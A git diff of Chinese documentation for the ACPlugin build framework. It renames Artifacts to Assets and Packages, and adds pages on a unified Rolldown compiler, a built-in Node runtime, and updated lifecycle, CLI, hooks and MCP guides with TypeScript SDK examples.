+++ b/packages/docs/config/public-files.md @@ -1,6 +1,6 @@ # Public 文件 -默认情况下,Core 扫描工程根的 `public/`,把其中普通文件作为每个平台的公共 Artifact 输入。内容按 bytes 处理,可执行位规范为 `0755`,其他普通文件为 `0644`。 +默认情况下,Core 扫描工程根的 `public/`,把其中普通文件签发为 Framework-owned Asset,并向每个平台的 base Package 提交 add-only Contribution。可执行位规范为 `0755`,其他普通文件为 `0644`。 ## 关闭或改目录 @@ -35,4 +35,4 @@ export default defineConfig({ `from` 与 `to` 都必须是安全相对路径,不能含绝对路径、NUL 或 `..` 片段。来源必须是 Scanner 精确发现的普通文件;符号链接和特殊文件会失败。 -Public 路径仍受全局大小写、Unicode normalization、文件/目录和 owner 冲突检查。它不能覆盖 Platform 或 Extension 已拥有的 Artifact。 +Public 路径仍受全局大小写、Unicode normalization、文件/目录和 owner 冲突检查。它不能覆盖 Platform 或 Extension 已拥有的 Asset 路径。 diff --git a/packages/docs/ecosystem/artifacts-and-documents.md b/packages/docs/ecosystem/artifacts-and-documents.md deleted file mode 100644 index e38d23c..0000000 --- a/packages/docs/ecosystem/artifacts-and-documents.md +++ /dev/null @@ -1,24 +0,0 @@ -# Artifact 与 Document - -## Artifact - -Artifact 只有两种来源:驻留内存的 `bytes`,或已经验证的普通 `file`。mode 只允许 `0644`/`0755`。Core 计算 size 与 SHA-256,并在 owner 授权、路径和碰撞校验后才允许进入 DeliveryUnit。 - -路径拒绝: - -- POSIX/Win32 绝对路径、NUL、任何 `..` 片段; -- 符号链接和特殊文件; -- 大小写、Unicode normalization、文件/目录冲突; -- Platform/Extension/Public 跨 owner 来源越权。 - -## Document - -Platform `prepare` 可以创建结构化 JSON/YAML/TOML Document,并明确列出 extension points。Adapter 获得只读快照,只能 add-only patch 当前仍为空且已声明的字段。 - -owner-aware merge 不提供 replace、remove、array append 或深度覆盖。同一字段被两个 owner 写入时稳定失败。完成 Adapter 后,Platform 收到冻结的最终 Draft,再自行序列化和验证。 - -## DeliveryUnit 与 transaction - -Platform 先生成并验证 primary DeliveryUnit,再可基于已验证主单元生成 Marketplace 等 Distribution。继承 Artifact 必须保留 owner、mode、size 与 hash。 - -所有选中目标都通过后,Core 才按锁 → 恢复 → stage → 校验 → backup → swap → cleanup 提交托管 `dist`。任何失败保留上一次完整输出。 diff --git a/packages/docs/ecosystem/assets-and-documents.md b/packages/docs/ecosystem/assets-and-documents.md new file mode 100644 index 0000000..4ef2915 --- /dev/null +++ b/packages/docs/ecosystem/assets-and-documents.md @@ -0,0 +1,24 @@ +# Asset、Document 与 Package + +## Asset + +Asset 是 Core Registry 签发的不透明引用,来源为已验证源码、Compiler 输出或复制后的内存字节。mode 只允许 `0644`/`0755`。Core 绑定真实 issuer owner、结构化 origin、size 与 SHA-256;Package 只保存路径映射和 AssetRef。 + +路径会拒绝: + +- POSIX/Win32 绝对路径、NUL 与任何 `..` 片段; +- 符号链接和特殊文件; +- 大小写、Unicode normalization、文件/目录前缀冲突; +- Platform/Extension/Framework 之间未经 grant 的跨 owner 引用。 + +## Document 与 Contribution + +Platform `createPackage()` 创建结构化 JSON/YAML/TOML/frontmatter Document,并声明仍为空的 extension point。所有 Contributor 读取同一份不可变 base snapshot,只能提交字段路径和值;Core 统一验证并编码 Document。 + +add-only merge 不提供 replace、remove、数组 append 或深度覆盖。两个 owner 写同一字段或同一 Asset 路径会失败,不存在 first/last-writer-wins。 + +## Package 与 transaction + +Platform `finalizePackage()` 为集中合并后的 snapshot 决定主 Package 身份并可追加自己的 Asset。Core 自动保留所有继承 Asset 的 owner、mode、size、hash 和 origin。主 Package 物化并通过 `validatePackage()` 后,Platform 才能派生可选 Distribution;Distribution 也要单独物化和校验。 + +所有所选 Package Unit 都通过后,Core 才按锁 → 恢复 → stage → 校验 → transaction/backup → swap → cleanup 提交托管 `dist`。任何失败保留上一份完整输出。 diff --git a/packages/docs/ecosystem/build-service.md b/packages/docs/ecosystem/build-service.md new file mode 100644 index 0000000..35de724 --- /dev/null +++ b/packages/docs/ecosystem/build-service.md @@ -0,0 +1,27 @@ +# 统一 Rolldown Compiler + +Core 是一次 BuildSession 中唯一的 Rolldown owner。Platform、Extension 与第三方集成都通过 `context.compiler.compile()` 提交声明式 Job,不能创建自己的 bundler、watcher 或输出目录。 + +## `portable-node` + +面向需要跨平台交付的 Node 20 ESM 可执行内容,也是内建 Runtime、Hooks 与本地 MCP 使用的 profile: + +- 输出自包含 ESM bundle,只有 `node:` 内置模块保持 external; +- 静态/动态 import 必须可解析,拒绝原生扩展和隐式运行时依赖; +- 固定无 sourcemap,禁止输出绝对路径、时间戳和环境值; +- 许可证默认严格收集,无法确认第三方许可时失败; +- 模块图、descriptor、tsconfig、package 与 license 文件进入 Core Watch Registry。 + +作者可通过 `PortableNodeCompileOptions` 调整受限的 `resolve`、`transform` 和 `treeshake` JSON 字段,但不能注入 Rolldown Plugin 或回调。 + +## `managed-rolldown` + +面向第三方 Platform/Extension 的高级构建。它暴露 Rolldown 能力的受管子集,包括 plugin,但 Core 始终接管: + +- `cwd`、input 身份与 source scope; +- 输出目录、日志、watch 登记和关闭; +- 禁止 `writeBundle`、`watchChange`、`closeWatcher` 等越权 Hook; +- workDir、Asset 签发、模块图审计和确定性边界; +- 默认 `strict` 的第三方许可证策略。 + +显式 `licenses: 'ignore'` 表示调用方自行承担法律材料交付责任;它不会关闭路径、模块图或 owner 安全检查。Compile 输出只能作为 `GeneratedAssetRef` 进入 Package,不能在构建后复制、重命名或 patch `dist`。 diff --git a/packages/docs/ecosystem/extension-authoring.md b/packages/docs/ecosystem/extension-authoring.md index cc356d9..bd1b98c 100644 --- a/packages/docs/ecosystem/extension-authoring.md +++ b/packages/docs/ecosystem/extension-authoring.md @@ -1,29 +1,56 @@ # Extension 开发 -Extension 表达横向作者能力,并通过一个或多个 `ExtensionPlatformAdapter` 参与对应 Platform Draft。 +Extension 表达横向作者能力:发现并验证自己的资源,使用 Core Host 只构建一次不可变 Built State,再通过明确的 `PlatformContributor` add-only 参与目标 Package。 ```ts -import { defineExtension } from '@tokenroll/acplugin'; +import { defineExtension } from '@tokenroll/acplugin/sdk'; export function notices() { return defineExtension({ - name: 'example-notices', + id: 'example-notices', apiVersion: '1', - discover: async () => ({ enabled: true }), - validate: (_context, discovered) => discovered, - build: (_context, validated) => validated, - adapters: [], + options: {}, + resourceRoots: ['notices'], + createSession() { + return { + discover: async () => ({ enabled: true }), + validate: async (_context, discovered) => ({ + state: discovered, + subjects: [{ subject: 'notices:default', capabilities: ['delivery'] }], + }), + build: async (_context, validated) => ({ state: validated }), + contributors: [{ + platform: 'example', + platformApiVersion: '1', + async contribute(context, built) { + const notice = await context.assets.fromBytes({ + bytes: built.enabled ? 'Enabled\n' : 'Disabled\n', + origin: { operation: 'render-notice', subjects: ['notices:default'] }, + }); + return { + assets: [{ path: 'NOTICE.txt', asset: notice }], + compatibility: [{ + subject: 'notices:default', + capability: 'delivery', + level: 'native', + reason: 'The target installs the notice as a native file.', + }], + }; + }, + }], + }; + }, }); } ``` -完整 Extension 应定义自己的作者目录、验证和 built state,再为明确支持的 Platform 提供 Adapter。Adapter 可: +每个 Contributor 都读取同一个冻结的 Platform base Package。它可以: -- 读取 Platform 已公开的只读 Document; -- 向声明的 extension point add-only patch 新字段; -- 追加 owner 为自身的 Artifact; -- 报告兼容性与诊断。 +- 读取已公开的 Document 与 extension point; +- 填写一个仍为空且已声明的字段; +- 追加由当前 Extension owner 创建或获授权的 Asset; +- 精确覆盖 `validate()` 声明的兼容性 tuple。 -Adapter 不能替换 Platform、完整 Document 或已有字段,也不能读取其他 Extension state。Extension 没有依赖图或 enforce/order API;配置顺序是固定执行顺序,但不能用它建立覆盖语义。两个 owner 写同字段或同 Artifact path 会稳定冲突,而不是 last-writer-wins。 +Contributor 不能观察其他 Contribution 或 Extension state,不能替换/删除 Platform 内容,也不能 claim/suppress Canonical Component。Core 并发收集贡献,按 owner 稳定排序并集中合并;同字段或同路径竞争稳定失败,不使用配置顺序解决冲突。 -查看 [`defineExtension()`](/api/@tokenroll/acplugin/functions/defineExtension.md) 和 [`ExtensionPlatformAdapter`](/api/@tokenroll/acplugin/interfaces/ExtensionPlatformAdapter.md)。 +`discover` 使用 `context.sources`/`context.modules`;`build` 使用 `context.compiler`、`context.assets` 与 `context.execution`。Extension 不获得物理 workDir 写权限,不得直接依赖 Rolldown、建立 watcher、写中间文件或写入 `dist`。编译边界见 [统一 Rolldown Compiler](./build-service.md)。 diff --git a/packages/docs/ecosystem/index.md b/packages/docs/ecosystem/index.md index 2a29122..11b7139 100644 --- a/packages/docs/ecosystem/index.md +++ b/packages/docs/ecosystem/index.md @@ -1,11 +1,12 @@ # 生态开发 -第三方作者使用 `@tokenroll/acplugin` 公开 SDK 创建 Platform 或 Extension,不依赖私有 Core。 +第三方作者使用 `@tokenroll/acplugin/sdk` 创建 Platform 或 Extension,不依赖私有 Core。 - [Platform 开发](./platform-authoring.md) - [Extension 开发](./extension-authoring.md) +- [统一 Rolldown Compiler](./build-service.md) - [Lifecycle 契约](./lifecycle-contract.md) -- [Artifact 与 Document](./artifacts-and-documents.md) +- [Asset、Document 与 Package](./assets-and-documents.md) - [Package 与 peer 边界](./package-and-peer-boundaries.md) ACPlugin 没有中央 registry、包名强制或自动 npm discovery。用户显式 import 并实例化品牌化对象,Core 只检查公开 API version 与 runtime brand。 diff --git a/packages/docs/ecosystem/lifecycle-contract.md b/packages/docs/ecosystem/lifecycle-contract.md index 0a5e7a4..f34f07b 100644 --- a/packages/docs/ecosystem/lifecycle-contract.md +++ b/packages/docs/ecosystem/lifecycle-contract.md @@ -1,25 +1,36 @@ # Lifecycle 契约 -Core 是唯一阶段调度者: +Core 是唯一阶段调度者,CLI、`runProject()`、`Project.run()` 与 `Project.dev()` 都只调用这条 Kernel v2 路径: ```text -configResolved → buildStart → Extension.discover → Scanner -→ Extension.validate → Extension.build → Platform.prepare -→ Adapter.apply → Platform.generateBundle → Platform.validateBundle -→ generateDistributions → compatibility → transaction → buildEnd +config load/resolve +→ Platform/Extension Session setup +→ canonical/Public/Runtime/Extension discovery +→ CanonicalProject assembly +→ Component/Extension validation +→ Extension/Core Runtime compilation +→ Platform.createPackage +→ Framework/Extension Contributor collection +→ Core add-only merge +→ Platform.finalizePackage +→ primary candidate materialize/validate +→ Distribution create/validate +→ compatibility/metadata finalization +→ aggregate materialization validation +→ managed transaction +→ reverse Session close ``` -## 顺序规则 +## 隔离与顺序 -- Platform 与 Extension 按配置中的稳定顺序初始化。 -- Adapter 只在 Extension 和目标 Platform API version 同时匹配时应用。 -- `buildEnd` 对已经初始化的参与者按逆序调用,成功和失败都会执行。 -- 一个 Extension 不能访问另一个 Extension 的 discovered、validated 或 built state。 +- Platform/Extension 按配置顺序 setup;已经初始化的 Session 始终按逆序恰好关闭一次。 +- 各 Extension 的 discover/validate/build state 被复制、冻结并按 owner 隔离,不能跨 Extension 读取。 +- 所有 Contributor 读取同一份 Platform base Package,可以并发执行;Contribution 集中合并且不以配置顺序决定结果。 +- 一个 Platform 的 Package pipeline 失败不抑制其他独立 Platform;工程级错误才阻止全部 Package 消费。 +- `close()` 只收到成功/失败/中止、`committed` 和首个脱敏失败摘要。 -因此第三方实现不能依赖“某个扩展先覆盖另一个扩展”。同一 add-only 字段或 Artifact path 的竞争是错误;不同扩展点的结果在内容上可独立,但诊断和 lifecycle 调用仍遵守配置顺序。 +## Context 与 capability -## Context 边界 +Context 只公开当前阶段需要的只读数据和 owner-scoped capability。SourceRef、AssetRef、workDir、Package candidate 都依赖当前 Session 对象身份,不能伪造、跨 owner 使用或保存到后续 Session。 -Context 只公开当前阶段需要的只读 project、稳定 config snapshot、独占 workDir、诊断/兼容性出口和受控注册方法。不要保存 Context 跨 build 使用,也不要根据临时绝对路径生成内容。 - -API version 当前是 `1`。版本不匹配在配置或 Adapter 选择阶段失败,不提供 shape fallback。 +生命周期 API version 保持 `1`。版本不匹配在 setup/Contributor 规划阶段失败,不提供 shape fallback 或旧 API 兼容层。 diff --git a/packages/docs/ecosystem/package-and-peer-boundaries.md b/packages/docs/ecosystem/package-and-peer-boundaries.md index 95f66de..ea4fa80 100644 --- a/packages/docs/ecosystem/package-and-peer-boundaries.md +++ b/packages/docs/ecosystem/package-and-peer-boundaries.md @@ -14,16 +14,18 @@ } }, "peerDependencies": { - "@tokenroll/acplugin": "^0.0.1-beta" + "@tokenroll/acplugin": "^0.0.2-beta" }, "devDependencies": { - "@tokenroll/acplugin": "^0.0.1-beta" + "@tokenroll/acplugin": "^0.0.2-beta" } } ``` 运行时代码不得 import `@acplugin/core`,也不应依赖另一个集成的私有实现。包名、scope 和版本可以独立选择;兼容性由 `apiVersion` 与主包 peer range 表达。 +Integration factory result 的 `Symbol.for(...)` 只是跨主包 root、SDK 与 CLI bundle chunk 共享的 registry brand。它用于身份互操作,不是 private/security Symbol,也不把第三方代码变成沙箱。Platform/Extension 是可信构建时代码;Core Services 约束可进入 Package 的来源和输出,但不会阻止 Integration 自行调用 Node.js API。 + 发布前至少验证: 1. ESM-only exports 和声明文件可由 clean consumer 加载。 @@ -31,4 +33,4 @@ 3. Platform/Extension bundle externalize 主包 peer。 4. 从 tarball 安装后,品牌化 factory result 能被真实 CLI 接受并完成 build。 -官方九个包遵守同一模型,不拥有第三方无法使用的 Core 旁路。 +官方九个包遵守同一模型,不拥有第三方无法使用的生命周期旁路;统一 Build Service 本身就是公开 SDK 能力。 diff --git a/packages/docs/ecosystem/platform-authoring.md b/packages/docs/ecosystem/platform-authoring.md index 269aaa2..8d6e740 100644 --- a/packages/docs/ecosystem/platform-authoring.md +++ b/packages/docs/ecosystem/platform-authoring.md @@ -1,13 +1,12 @@ # Platform 开发 -Platform 把 Canonical `PluginProject` 编译成一种目标交付格式。第三方 package 只从 `@tokenroll/acplugin` 导入 SDK: +Platform 把 `CanonicalProject` 转换为一种目标平台 Package。第三方实现只从专用 SDK subpath 导入契约: ```ts import { - bytesArtifact, definePlatform, - stableJson, -} from '@tokenroll/acplugin'; + type CompatibilityInput, +} from '@tokenroll/acplugin/sdk'; export function examplePlatform() { return definePlatform({ @@ -15,36 +14,55 @@ export function examplePlatform() { apiVersion: '1', deliveryType: 'plugin', options: {}, - prepare: context => ({ - documents: [{ - id: 'manifest', - path: 'plugin.json', - format: 'json', - owner: 'platform:example', - value: { name: context.project.metadata.name }, - extensionPoints: [], - }], - artifacts: [], - }), - generateBundle: (context) => { - const manifest = context.documents.find(document => document.id === 'manifest'); - if (!manifest) - throw new Error('Platform draft is missing its manifest.'); + createSession() { return { - id: 'plugin', - role: 'primary', - type: 'plugin', - artifacts: [ - ...context.artifacts, - bytesArtifact('plugin.json', stableJson(manifest.value)), - ], + validateComponent: async () => {}, + async createPackage({ project, assets }) { + const commandAssets = await Promise.all(project.commands.map(async command => ({ + path: `commands/${command.id}.md`, + asset: await assets.fromBytes({ + bytes: command.body, + origin: { operation: 'compile-command', subjects: [`command:${command.id}`] }, + }), + }))); + const compatibility: CompatibilityInput[] = project.commands.map(command => ({ + subject: `command:${command.id}`, + capability: 'delivery', + level: 'native', + reason: 'The target has a native command resource.', + })); + return { + documents: [{ + id: 'manifest', + path: 'plugin.json', + format: 'json', + value: { name: project.metadata.name }, + extensionPoints: [], + }], + assets: commandAssets, + compatibility, + metadata: [], + }; + }, + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: async ({ candidate }) => { + // Validate the complete temporary candidate against the target schema. + void candidate.root; + }, }; }, - validateBundle: async () => {}, }); } ``` -真实实现还应提供 Component field validator、逐资源 compatibility、最终候选 Schema 校验和必要的 Distribution。Platform 只能读取自己的 workDir、Scanner 精确发现的 Component/Skill auxiliary 与已公开 Document;不能直接写 `dist`。 +真实实现还必须: -不要 import `@acplugin/core`,不要依赖官方 Platform/Extension 实现,也不要在 Core 中申请平台 ID 分支。公共契约见 [`definePlatform()`](/api/@tokenroll/acplugin/functions/definePlatform.md) 与 [`PlatformDefinition`](/api/@tokenroll/acplugin/interfaces/PlatformDefinition.md)。 +- 校验 `component.platforms[platformId]` 中的平台专属字段; +- 为每个 Canonical Component、Runtime 和 Extension capability 提交完整兼容性结论; +- 在 `createPackage()` 中建立 base Document/Asset,在 `finalizePackage()` 中只决定主 Package 身份并追加必要的平台 Asset; +- 对 Core 临时物化的完整候选执行 Schema、引用闭包和真实格式校验; +- 只从已经验证的主 Package 派生可选 Marketplace Distribution。 + +Platform 只能使用 Core 签发的 Source/Asset/Compiler capability;物理 workDir 仅由 Core 内部管理。Platform 不能自建 Rolldown、watcher 或写入 `dist`。`PackageCandidate.root` 只在 `validatePackage()` 调用窗口有效,不得保存。 + +不要 import `@acplugin/core`,不要依赖官方 Platform/Extension 私有实现,也不要在 Core 中申请平台 ID 分支。`@tokenroll/acplugin` 根入口面向普通作者;Integration 实现必须使用 `@tokenroll/acplugin/sdk`。 diff --git a/packages/docs/extensions/hooks.md b/packages/docs/extensions/hooks.md index ca5f5e1..c45b1b2 100644 --- a/packages/docs/extensions/hooks.md +++ b/packages/docs/extensions/hooks.md @@ -26,9 +26,9 @@ export default defineConfig({ ```ts // src/hooks/policy/hook.ts -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; -export default defineHook({ +export default { event: 'PreToolUse', matcher: 'Bash|Write|Edit', timeout: 10, @@ -37,14 +37,14 @@ export default defineHook({ ? { decision: 'allow' } : { decision: 'deny', reason: `Denied on ${context.platform}.` }; }, -}); +} satisfies Hook<'PreToolUse'>; ``` Portable events 是 `SessionStart`、`SessionEnd`、`UserPromptSubmit`、`PreToolUse`、`PermissionRequest`、`PostToolUse`、`PreCompact`、`PostCompact`、`SubagentStart`、`SubagentStop`、`Stop`。平台专属事件必须写成 `{ platform, name }`。 ## 运行与安全边界 -Extension 把每个 handler bundle 一次为 Node 20 ESM。Adapter 生成相邻 wire,负责目标 stdin schema、camelCase 转换、root/data 映射和 stdout 协议。共享 runner 限制输入输出为 1 MiB、捕获顶层错误并只发稳定错误码。 +Extension 通过 Core `portable-node` Compiler 把每个 handler bundle 一次为自包含 Node 20 ESM。经过验证的平台 wire profile 与 runner 一同进入 Bundle,负责目标 stdin schema、camelCase 转换、root/data 映射和 stdout 协议;Contributor 不再补写相邻运行时 JavaScript。共享 runner 限制输入输出为 1 MiB、捕获顶层错误并只发稳定错误码。 作者不能声明 shell command、绝对 executable、HTTP callback 或其他原始目标协议。第三方依赖进入 bundle 时生成相邻 `THIRD_PARTY_LICENSES.txt`。 diff --git a/packages/docs/extensions/index.md b/packages/docs/extensions/index.md index e932f6e..641a452 100644 --- a/packages/docs/extensions/index.md +++ b/packages/docs/extensions/index.md @@ -1,8 +1,10 @@ # 官方扩展 -Hooks 与 MCP 是独立公开 Extension package,通过官方 Adapter 参与已配置 Platform 的构建。 +Hooks 与 MCP 是独立公开 Extension package。它们通过 Core Compiler 只构建一次作者能力,再用官方 Contributor add-only 参与已配置 Platform 的 Package。 -- [Hooks](./hooks.md)统一书写语义 handler,由 Adapter 拥有目标 stdin/stdout 协议。 +- [Hooks](./hooks.md)统一书写语义 handler,由对应 Contributor/wire profile 拥有目标 stdin/stdout 协议。 - [MCP](./mcp.md)覆盖 portable HTTP 声明与完整 local stdio server。 +Node Runtime 是 Core 内建 Framework Resource,参见[内建 Node Runtime](/guide/node-runtime)。 + Extension 不是 Core 的 optional flag。只有安装 package、在 `extensions` 中实例化后,相应作者目录才合法。 diff --git a/packages/docs/extensions/mcp.md b/packages/docs/extensions/mcp.md index cb1d9d6..efd7099 100644 --- a/packages/docs/extensions/mcp.md +++ b/packages/docs/extensions/mcp.md @@ -26,14 +26,14 @@ export default defineConfig({ ```ts // src/mcp/docs/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ +export default { transport: 'http', url: 'https://example.com/mcp', auth: { type: 'bearer', env: 'DOCS_TOKEN' }, headers: { 'X-Tenant': { env: 'TENANT_ID' } }, -}); +} satisfies McpServer; ``` Secret 只用 `{ env }` 引用,构建过程不会读取值。Production endpoint 必须 HTTPS;development 仅允许 loopback HTTP。 @@ -42,16 +42,16 @@ Secret 只用 `{ env }` 引用,构建过程不会读取值。Production endpoi ```ts // src/mcp/local-tools/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ +export default { transport: 'stdio', entry: 'server.ts', env: { API_TOKEN: { env: 'LOCAL_API_TOKEN' } }, -}); +} satisfies McpServer; ``` -本地 Server 必须是完整实现。Extension bundle Node 20 ESM,拒绝未解析动态 import,并使用声明的 literal 环境值执行有界 `initialize → initialized → tools/list` smoke;Secret 引用不会被读取。 +本地 Server 必须是完整实现。Extension 通过 Core `portable-node` Compiler bundle Node 20 ESM,拒绝未解析动态 import,并使用声明的 literal 环境值执行有界 `initialize → initialized → tools/list` smoke;Secret 引用不会被读取。 HTTP 在 Claude Code、Codex、Cursor、Antigravity、OpenCode 原生,Pi unsupported。Local stdio 在 Claude Code、Codex、OpenCode 原生,其余平台 unsupported。 diff --git a/packages/docs/guide/build-and-validate.md b/packages/docs/guide/build-and-validate.md index d4a478d..7467e71 100644 --- a/packages/docs/guide/build-and-validate.md +++ b/packages/docs/guide/build-and-validate.md @@ -2,29 +2,29 @@ ## 四个项目命令 -- `validate`:执行完整候选生成与校验,但不提交新的托管输出。 -- `inspect`:执行同一流水线,并在人类可读输出中列出 Component、Extension、Platform、Document、DeliveryUnit 与 Artifact。 -- `build`:验证全部选中目标后,按事务整体替换 `dist`。 -- `dev`:监听真实依赖并保留最后一次成功输出。 +- `validate`:执行完整 Package 生成、物化与平台校验,但不提交托管输出。 +- `inspect`:执行同一流水线,并在人类可读输出中列出 Component、Extension、Platform、Package 与 Asset。 +- `build`:全部所选 Platform 通过后,按事务替换受管 Package 集合。 +- `dev`:由 Core 监听真实资源与 Compiler 模块图,每个合并变更轮次执行同一 BuildSession,并保留最后一次成功输出。 -它们共享 `--config`、`--platform`、`--mode`、`--strict/--no-strict` 和 `--json`,不会维护第二条构建路径。 +它们共享 `--config`、`--platform`、`--mode` 和 `--json`,CLI 与程序化 API 不维护第二条构建路径。兼容性严格度只从 `build.strict` 和 Platform factory override 解析。 ## 固定 lifecycle ```text -configResolved → buildStart → Extension.discover → Scanner -→ Extension.validate/build → Platform.prepare → Adapter.apply -→ Platform.generateBundle/validateBundle → distributions -→ compatibility → transaction → buildEnd +config/session setup → resource discovery → validation/compile +→ Platform base Package → unordered Contributions → Core merge +→ finalization → primary/distribution candidate validation +→ compatibility/metadata → aggregate validation → transaction → Session close ``` -`buildEnd` 在成功和失败时都按初始化逆序执行,并只收到脱敏摘要。 +完整阶段和 capability 边界见 [Lifecycle 契约](/ecosystem/lifecycle-contract)。 ## 兼容性与提交 -每个资源按 Platform 记录 `native`、`transform`、`degraded` 或 `unsupported`。strict 模式拒绝 degraded/unsupported;relaxed 模式只放宽功能兼容性,不放宽结构、来源、路径、owner 或事务错误。 +每个资源按 Platform 记录 `native`、`transform`、`degraded` 或 `unsupported`。strict 模式拒绝 degraded/unsupported;relaxed 只放宽功能兼容性,不放宽结构、来源、路径、owner、候选或事务错误。 -事务以选中 Platform 的完整目标集合为单位:锁、恢复、stage、校验、backup、swap、cleanup。任一目标失败都保留上一次完整输出。 +事务以所选 Platform 的完整 Package 集合为单位:锁、恢复、stage、校验、transaction/backup、swap、cleanup。commit 的 Session close 仍位于可回滚窗口;任一目标或必要 cleanup 失败都保留上一份完整输出。 ## 稳定 JSON @@ -34,4 +34,4 @@ CI 建议使用: pnpm exec acplugin validate --json > build-report.json ``` -报告不包含 Artifact bytes、时间戳、凭据、临时路径或机器绝对路径。字段和集合使用稳定顺序,适合作为自动化输入。 +schema-v2 `BuildReport` 包含 Framework/Compiler 版本、Components、Runtimes、Extensions、Platforms、Packages、Asset 元数据、兼容性、metadata disposition 与阶段诊断。它不包含 Asset bytes、时间戳、凭据、临时路径或机器绝对路径,集合使用稳定顺序。 diff --git a/packages/docs/guide/cli.md b/packages/docs/guide/cli.md index bdb90b1..e0b5f13 100644 --- a/packages/docs/guide/cli.md +++ b/packages/docs/guide/cli.md @@ -6,7 +6,7 @@ pnpm exec acplugin init [directory] [options] ``` -常用选项:`--yes`、`--name`、`--display-name`、`--description`、`--platform `、`--hooks`、`--mcp`、`--install`、`--json`。默认脚手架选择 Claude Code 与 Codex;这不是运行时默认。 +常用选项:`--yes`、`--name`、`--display-name`、`--description`、`--platform `、`--hooks`、`--mcp`、`--node-runtime`、`--install`、`--json`。默认脚手架选择 Claude Code 与 Codex;Hooks/MCP Extension 都是显式 opt-in,`--node-runtime` 则生成 Core 内建约定入口,不添加 Extension。 ## 项目流水线 @@ -24,10 +24,9 @@ pnpm exec acplugin dev | `-c, --config ` | 使用另一个 TypeScript 配置文件 | | `--platform ` | 只运行配置中已实例化的平台子集 | | `--mode development\|production` | 传给函数式配置的模式 | -| `--strict` / `--no-strict` | 覆盖本次兼容性严格度 | | `--json` | stdout 只输出一个稳定 JSON 报告 | -未知、重复、空或未配置的 `--platform` 会失败。旧 `--target` 已删除,不是兼容 alias。 +未知、重复、空或未配置的 `--platform` 会失败。旧 `--target` 已删除,不是兼容 alias。项目构建的 strict 策略通过 `acplugin.config.ts` 中的 `build.strict` 或 Platform factory override 配置。 ## Migration diff --git a/packages/docs/guide/node-runtime.md b/packages/docs/guide/node-runtime.md new file mode 100644 index 0000000..a3dd41a --- /dev/null +++ b/packages/docs/guide/node-runtime.md @@ -0,0 +1,45 @@ +# 内建 Node Runtime + +Node Runtime 是 Core Framework Resource,不需要安装 Extension 或调用额外 factory。启用后,Core 负责发现、编译、模块图 Watch、许可证和跨平台 Asset 交付。 + +## 约定入口 + +`src/runtime/` 的一级可执行 TypeScript/JavaScript 文件会自动成为入口,文件名去除扩展名后就是小写 kebab-case ID。嵌套文件只作为依赖: + +```text +src/runtime/ +├── cli.ts # entry id: cli +└── internal/client.ts # dependency only +``` + +自动入口默认是 `executable`,生成 `runtime/cli/main.mjs`,mode 为 `0755`。 + +## 显式入口 + +当入口 ID、文件位置或 kind 需要明确控制时,在配置中声明 `runtime.entries`。该字段会完整替换自动发现: + +```ts +export default defineConfig({ + // ...metadata and platforms + runtime: { + target: 'node20', + entries: { + cli: { entry: 'cli.ts', kind: 'executable' }, + library: { entry: 'modules/library.ts', kind: 'module' }, + }, + compile: { + treeshake: true, + }, + }, +}); +``` + +入口路径相对于 `/runtime`,不能使用绝对路径或 `..`。`module` 的 mode 为 `0644`。`runtime: false` 显式关闭该资源;目录存在内容但关闭时会失败,避免静默遗漏。 + +## 构建与交付 + +Core 使用 `portable-node` profile 把每个入口编译为自包含 Node 20 ESM。npm 依赖默认进入 Bundle,只有 `node:` 内置模块保持 external。未解析 import、原生扩展、隐式运行时依赖、作者源码 symlink 与特殊文件都会失败。 + +包含第三方 package 时,会在相邻路径生成稳定排序的 `THIRD_PARTY_LICENSES.txt`;无法确认许可证信息时失败,无第三方依赖时不生成空文件。相同输入产生相同 Bundle 字节,报告只记录工程相对 origin。 + +当前 Claude Code 与 Codex 声明稳定的 Plugin-local Node 能力并继承同一 Asset 字节。Cursor、Antigravity、OpenCode 与 Pi 报告 `unsupported` 且不生成伪 Runtime。空目录或没有有效入口时不产生 Asset 和兼容性噪声。 diff --git a/packages/docs/guide/project-structure.md b/packages/docs/guide/project-structure.md index 7a7014b..37f9f02 100644 --- a/packages/docs/guide/project-structure.md +++ b/packages/docs/guide/project-structure.md @@ -15,8 +15,11 @@ src/ │ └── investigator.md ├── hooks/ # 启用 Hooks Extension 时 │ └── session-start/hook.ts -└── mcp/ # 启用 MCP Extension 时 - └── docs/mcp.ts +├── mcp/ # 启用 MCP Extension 时 +│ └── docs/mcp.ts +└── runtime/ # 可选 Core Runtime 约定 + ├── cli.ts # 一级文件自动成为入口 + └── internal/helper.ts # 嵌套文件只作为依赖 public/ └── templates/report.md ``` @@ -30,14 +33,14 @@ public/ `srcDir` 可在配置中修改,但三个 Canonical 目录的相对结构不变。符号链接、特殊文件和目录层级错误会被拒绝。 -## Extension 管理的内容 +## Extension 与 Runtime 管理的内容 -`src/hooks` 与 `src/mcp` 不是 Core Component。相应 Extension 的 `discover` 阶段拥有这些作者格式;目录非空但未启用 Extension 时,构建会失败,而不是静默忽略。 +`src/hooks` 与 `src/mcp` 不是 Core Component,由相应 Extension 的 `discover` 阶段拥有;目录非空但未启用 Extension 时,构建会失败。`src/runtime` 是 Core Framework Resource:一级 TS/JS 文件按约定成为入口,显式 `runtime.entries` 完整替换自动发现,`runtime: false` 关闭该能力。Descriptor 由 Core Module Service 执行,所有可执行代码由 Core Rolldown Build Service 构建。 ## Public -默认 `public/` 中的普通文件会成为每个 Platform Draft 的公共输入。也可以通过 [Public 配置](/config/public-files)关闭、改目录或只复制选定路径。 +默认 `public/` 中的普通文件会成为每个 Platform base Package 的 Framework Contribution。也可以通过 [Public 配置](/config/public-files)关闭、改目录或只复制选定路径。 ## 输出 -`dist/` 由事务层完整管理。Platform 和 Extension 只能写各自 workDir,再把经过 Core 授权的 Artifact 提交给候选 DeliveryUnit;不得直接写 `dist`。 +`dist/` 由事务层完整管理。Platform 和 Extension 只能把 Core 签发或授权的 AssetRef 映射到 Package;物理 workDir 与 `dist` 写入都只由 Core 管理。 diff --git a/packages/docs/guide/troubleshooting.md b/packages/docs/guide/troubleshooting.md index 4991fa5..5c0a2c0 100644 --- a/packages/docs/guide/troubleshooting.md +++ b/packages/docs/guide/troubleshooting.md 